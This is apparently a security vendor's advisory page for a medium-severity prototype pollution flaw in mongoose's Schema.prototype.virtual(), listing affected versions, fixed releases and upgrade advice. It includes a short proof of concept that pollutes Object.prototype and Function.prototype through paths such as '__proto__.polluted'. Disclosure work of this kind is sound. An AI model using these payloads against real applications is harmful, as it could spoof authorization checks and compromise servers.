CVE-2026-125118

CVE-2026-125118 is a medium-severity security vulnerability in mongoose (npm), affecting versions < 6.13.12. It is fixed in 6.13.12, 7.8.13, 8.24.7, 9.11.4.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Mongoose: Prototype pollution via Schema.prototype.virtual()

Prototype pollution via Schema.prototype.virtual(), the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.

Details

In lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:

virtuals[name] = parts.reduce(function(mem, part, i) {
mem[part] || (mem[part] = (i === parts.length - 1)
? new VirtualType(options, name)
: {});
return mem[part];
}, this.tree); // lines 2755-2759

Unlike path()/add(), virtual() never received the specialProperties check added for CVE-2022-2564/CVE-2022-24304 (lib/schema.js lines 806, 1308, 1331).

A path containing __proto__/constructor/prototype segments resolves through the prototype chain and writes onto Object.prototype / Function.prototype.

Proof of concept

const mongoose = require('mongoose');
const schema = new mongoose.Schema({});

schema.virtual('__proto__.polluted');
console.log(({}).polluted); // VirtualType instance
console.log(Object.prototype.hasOwnProperty('polluted')); // true
console.log(Object.getOwnPropertyDescriptor(
Object.prototype, 'polluted').enumerable); // true

schema.virtual('constructor.prototype.opol');
console.log(({}).opol); // true

schema.virtual('hasOwnProperty.__proto__.fpol');
console.log((function(){}).fpol); // Function.prototype polluted

Impact

Attacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object, e.g. ({}).isAdmin checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).

CVE-2026-125118 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.13.12, 7.8.13, 8.24.7, 9.11.4); upgrading removes the vulnerable code path.

Affected versions

mongoose (< 6.13.12) mongoose (>= 7.0.0, < 7.8.13) mongoose (>= 8.0.0, < 8.24.7) mongoose (>= 9.0.0, < 9.11.4)

Security releases

mongoose → 6.13.12 (npm) mongoose → 7.8.13 (npm) mongoose → 8.24.7 (npm) mongoose → 9.11.4 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade the following packages to resolve this vulnerability:

mongoose to 6.13.12 or later; mongoose to 7.8.13 or later; mongoose to 8.24.7 or later; mongoose to 9.11.4 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-125118? CVE-2026-125118 is a medium-severity security vulnerability in mongoose (npm), affecting versions < 6.13.12. It is fixed in 6.13.12, 7.8.13, 8.24.7, 9.11.4.
  2. How severe is CVE-2026-125118? CVE-2026-125118 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of mongoose are affected by CVE-2026-125118? mongoose (npm) versions < 6.13.12 is affected.
  4. Is there a fix for CVE-2026-125118? Yes. CVE-2026-125118 is fixed in 6.13.12, 7.8.13, 8.24.7, 9.11.4. Upgrade to this version or later.
  5. Is CVE-2026-125118 exploitable, and should I be worried? Whether CVE-2026-125118 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-125118 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-125118?
    • Upgrade mongoose to 6.13.12 or later
    • Upgrade mongoose to 7.8.13 or later
    • Upgrade mongoose to 8.24.7 or later
    • Upgrade mongoose to 9.11.4 or later

Other vulnerabilities in mongoose

Stop the waste.
Protect your environment with Kodem.